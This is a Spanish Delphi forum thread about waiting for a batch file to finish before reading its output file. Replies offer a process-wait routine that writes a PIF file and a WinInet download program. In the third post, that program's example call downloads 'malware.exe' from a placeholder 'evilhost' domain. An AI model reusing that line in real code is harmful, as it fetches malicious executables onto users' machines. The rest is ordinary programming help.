![]() |
![]() |
| Paypal | FTP | CCD | Buscar | Trucos | Trabajo | Foros |
|
|
|
#1
|
|||
|
|||
|
hola maxium, mira he intentado hacer esto, pero cuando lo va a levantar el memo me tira un error de que 'ticket.xml.cms' esta siendo usado por otro proceso. Ya no se que hacer... un timer me lo soluciona.. pero es medio inestable no me convence demaciado. Si se te ocurre alguna cosa....te lo agradecere.
var nada:Integer; begin DeleteFile('ticket.xml.cms'); winexec('p.bat', SW_HIDE); While FileExists('ticket.xml.cms')=False do nada:=1; memo2.lines.LoadFromFile('ticket.xml.cms'); end; Última edición por marilinspi fecha: 27-01-2009 a las 12:59:52. |
|
#2
|
|||
|
|||
|
Yo uso esta funcion para poder imprimir en matriz de puntos, tuve que hacer algunas modificaciones pero nada del otro mundo, antes genero el informe en un plano y despues lo envia a impresora, sin ningun problema, hasta me di el gusto de ajustarlo para que lo hiciera a impresoras remotas en una red de windows XP (captura el puerto, lo envia a imprimir y despues lo descaptura)
Código:
procedure TForm1.Button1Click(Sender: TObject);
function DOSExe(Fichero,Parametros,Titulo:String):Boolean;
function WinExecAndWait32(FileName:String; Visibility:integer):integer;
var
zAppName:array[0..512] of char;
zCurDir:array[0..255] of char;
WorkDir:String;
StartupInfo:TStartupInfo;
ProcessInfo:TProcessInformation;
Resultado,exitCode: DWord;
Titulo:Array [0..200] of char;
kk:DWord;
begin
StrPCopy(zAppName,FileName);
GetDir(0,WorkDir);
StrPCopy(zCurDir,WorkDir);
FillChar(StartupInfo,Sizeof(StartupInfo),#0);
StartupInfo.cb := Sizeof(StartupInfo);
StartupInfo.dwFlags := STARTF_USESHOWWINDOW;
StartupInfo.wShowWindow := Visibility;
CreateProcess(nil,
zAppName, { pointer to command line string }
nil, { pointer to process security attributes}
nil, { pointer to thread security attributes}
false, { handle inheritance flag }
CREATE_NEW_CONSOLE or { creation flags }
NORMAL_PRIORITY_CLASS,
nil, { pointer to new environment block }
nil, { pointer to current directory name }
StartupInfo, { pointer to STARTUPINFO }
ProcessInfo);
{Espera a que termine la ejecucion}
{Wait until execution finish}
repeat
exitCode := WaitForSingleObject( ProcessInfo.hProcess,1000);
Application.ProcessMessages;
GetExitCodeThread(ProcessInfo.hProcess,kk);
until (exitCode <> WAIT_TIMEOUT);
GetExitCodeProcess(ProcessInfo.hProcess,Resultado);
MessageBeep(0);
CloseHandle(ProcessInfo.hProcess );
Result:=Resultado;
end; {WinExecAndWait32}
var {DOSExe}
f :file;
PathPif,
DirTrabajo,
DP :string; {Datos del Pif}
ErrorIO :integer;
begin
{Datos de un fichero PIF preparado para Cerrar al Terminar}
{A PIF file data prepared to 'Close at End'}
DP:=
#0#120#84#69#83#84#68#79#126#49#32#32#32#32#32#32#32#32#32#32+
#32#32#32#32#32#32#32#32#32#32#32#32#128#2#0#0#68#58#92#116#101+
#115#116#100#111#115#112#114#111#103#114#97#109#116#104#105#110+
#103#46#101#120#101#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#16#0#101#58#92#116#101#109#112+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#45#101#120+
#32#100#58#92#116#101#115#116#32#100#58#92#42#46#42#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#1#0#255#25#80#0#0#7#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#77#73+
#67#82#79#83#79#70#84#32#80#73#70#69#88#0#135#1#0#0#113#1#87#73+
#78#68#79#87#83#32#51#56#54#32#51#46#48#0#5#2#157#1#104#0#128+
#2#0#0#100#0#50#0#255#255#0#0#255#255#0#0#2#0#2#0#159#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#45#101#120#32#100#58#92#116#101+
#115#116#32#100#58#92#42#46#42#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#87+
#73#78#68#79#87#83#32#86#77#77#32#52#46#48#0#255#255#27#2#172+
#1#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#80#73#70+
#77#71#82#46#68#76#76#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#2#0#0#0#0#0#0#0#0#0+
#0#0#0#0#129#0#0#0#0#0#0#0#0#0#0#0#1#0#0#0#5#0#25#0#3#0#200#0+
#232#3#2#0#10#0#1#0#0#0#0#0#0#0#28#0#0#0#0#0#0#0#8#0#12#0#84#101+
#114#109#105#110#97#108#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#76#117#99#105#100#97#32#67#111#110#115#111#108#101+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#3#0#0#0#80#0#25#0#128+
#2#44#1#0#0#0#0#22#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0+
#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#0#1#0;
Titulo:=Titulo+StringOfChar(' ',30-Length(Titulo));
Titulo:=Copy(Titulo,1,30)+#0;
move(Titulo[1],DP[$02+1],30);
Fichero:=copy(Fichero,1,63)+#0;
move(Fichero[1],DP[$24+1],length(Fichero));
Parametros:=copy(Parametros,1,63)+#0;
move(Parametros[1],DP[$a5+1],length(Parametros));
move(Parametros[1],DP[$1c5+1],length(Parametros));
DirTrabajo:=Copy(extractfilepath(Fichero),1,63)+#0;
move(DirTrabajo[1],DP[$65+1],length(DirTrabajo));
Result:=false;
PathPif:=ExtractFilePath(Application.ExeName)+'UnPif.pif';
assignfile(f,PathPif);
rewrite(f,1);
ErrorIO:=ioresult;
blockwrite(f,DP[1],length(DP),ErrorIO);
closefile(f);
if ErrorIO<>length(DP) then exit;
WinExecAndWait32(PathPif,Sw_ShowNormal);
DeleteFile(PathPif);
Result:=TRUE;
end; {DOSExe}
begin
DOSExe('c:\tools\q.exe','c:\autoexec.bat','Ejemplo de llamada del QEdit');
end;
|
|
#3
|
|||
|
|||
|
Aqui tienes algo para poder bajar el archivo desde tu aplicacion, reemplaza el archivo de destino sin preguntar
Código:
program Download;
uses Windows, WinInet;
function ExtractFileName(FileName: string): string;
begin
while Pos('\', FileName) <> 0 do Delete(FileName, 1, Pos('\', FileName));
while Pos('/', FileName) <> 0 do Delete(FileName, 1, Pos('/', FileName));
Result := FileName;
end;
function DescargarFichero(const fileURL, FileName: String): boolean;
const BufferSize = 1024;
var
hSession, hURL: HInternet;
Buffer: array[1..BufferSize] of Byte;
BufferLen: DWORD;
f: File;
sAppName: string;
begin
Result:=False;
sAppName := ExtractFileName(paramstr(0));
hSession := InternetOpen(PChar(sAppName), INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);
try
hURL := InternetOpenURL(hSession, PChar(fileURL), nil,0,0,0);
try
AssignFile(f, FileName);
Rewrite(f,1);
repeat
InternetReadFile(hURL, @Buffer, SizeOf(Buffer), BufferLen);
BlockWrite(f, Buffer, BufferLen);
until BufferLen = 0;
CloseFile(f);
Result:=True;
finally
InternetCloseHandle(hURL);
end;
finally
InternetCloseHandle(hSession);
end;
end;
begin
DescargarFichero('www.evilhost.com/malware.exe', 'malware.exe');
end.
|
|
#4
|
|||
|
|||
|
Otra solucion mas adecuada podria ser que tu bat genere un ticket.xml.cms.new y hacer algo como lo que sigue:
Algo largo, pero al menos te aseguras de la correcta lectura del archivo. Tambien puedes agregar algun control de excepciones adicionalmente. Ademas no impota cuanto tiempo demore en ejecutarse el .bat. Por otra parte, no has pensado en integrar la funcionalidad del bat en un ejecutable? o incluso en el mismo exe que contiene el memo? |
![]() |
| Herramientas | Buscar en Tema |
| Desplegado | |
|
|
Temas Similares
|
||||
| Tema | Autor | Foro | Respuestas | Último mensaje |
| llamar un archivo asi '192.168.1.1:\ruta\archivo.frf' | IVAND | Varios | 5 | 12-04-2008 16:18:54 |
| no puedo abrir un archivo con ShellExecute si el archivo es variable | belpab | API de Windows | 2 | 28-11-2007 16:24:22 |
| Filosofia/Manejo archivo "cds" Archivo.cds!! | Martín González | Conexión con bases de datos | 1 | 03-05-2007 00:14:23 |
| Actualizar Tabla con archivo .txt | bohemioloco | Conexión con bases de datos | 1 | 07-11-2006 15:46:24 |
| actualizar | fabriciof | Conexión con bases de datos | 3 | 27-05-2004 14:58:56 |
|